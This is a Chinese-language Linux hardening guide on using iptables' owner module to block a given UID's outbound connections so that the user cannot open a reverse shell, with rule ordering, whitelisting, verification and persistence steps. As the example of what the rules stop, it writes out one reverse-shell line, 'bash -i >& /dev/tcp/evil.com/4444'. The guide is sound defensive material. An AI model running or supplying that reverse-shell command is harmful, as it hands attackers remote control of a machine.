直接用 iptables 的 --uid-owner 模块在 output 链限制特定 uid 用户的出站连接,是从内核网络栈底层阻断其发起反弹 shell 的最有效手段;它不依赖应用层识别,可拦截该用户所有新建立的外连(如 curl、python、bash -i),仅需 root 权限、内核支持 config_netfilter_xt_match_owner,并按顺序配置 accept(本地回环、dns 等)后接 drop 规则,再保存持久化即可。

直接用 iptables 的 owner 模块按 UID 限制普通用户的出站连接,是阻断其发起反弹 Shell 最底层、最有效的手段之一。它不依赖应用层识别,而是从内核网络栈出口(OUTPUT 链)就切断该用户所有新建立的外连尝试——无论目标 IP 是谁、端口是多少、用 curl 还是 python 启动,只要 UID 匹配,SYN 包就被拦下。
确认前提与获取 UID
该方法只对本地普通用户有效,要求:
- 系统已启用
CONFIG_NETFILTER_XT_MATCH_OWNER(主流发行版默认开启) - 操作需 root 权限:
sudo iptables ... - 先查目标用户数字 UID:
id -u username,例如id -u devuser返回1003 - 规则仅影响新连接,已有 TCP 连接不受影响
基础阻断:默认拒绝全部出站
这是最简但最硬的策略,适合开发/测试账号、低权限服务账户等“本不该外连”的场景:
- 放行本地回环(必需,避免破坏本地调试):
sudo iptables -A OUTPUT -m owner --uid-owner 1003 -d 127.0.0.0/8 -j ACCEPT - 放行 DNS(否则域名解析失败):
sudo iptables -A OUTPUT -m owner --uid-owner 1003 -p udp --dport 53 -j ACCEPT - 最后拒绝其余所有新连接:
sudo iptables -A OUTPUT -m owner --uid-owner 1003 -j DROP
注意:ACCEPT 规则必须写在 DROP 之前,iptables 严格按顺序匹配。
白名单式放行:只准连可信目标
若该用户需有限外联(如调用内部 Kafka、Redis),可精确控制目标地址和端口:
- 只允许访问 Kafka 集群:
sudo iptables -A OUTPUT -m owner --uid-owner 1003 -d 192.168.10.5 -p tcp --dport 9092 -j ACCEPT - 只允许访问内部 Redis:
sudo iptables -A OUTPUT -m owner --uid-owner 1003 -d 10.0.2.10 -p tcp --dport 6379 -j ACCEPT - 其余一律拦截:
sudo iptables -A OUTPUT -m owner --uid-owner 1003 -j DROP
这样即使攻击者在该用户会话中执行 bash -i >& /dev/tcp/evil.com/4444,连接根本发不出去。
验证与持久化
添加后立即验证是否生效:
- 切换到目标用户:
sudo -u "#1003" bash - 测试外连:
curl -v http://example.com应超时或报Connection refused - 检查规则命中数:
sudo iptables -L OUTPUT -v -n | grep 1003,观察 packets 是否增长 - 保存防重启失效:
sudo iptables-save > /etc/iptables/rules.v4(Debian/Ubuntu)











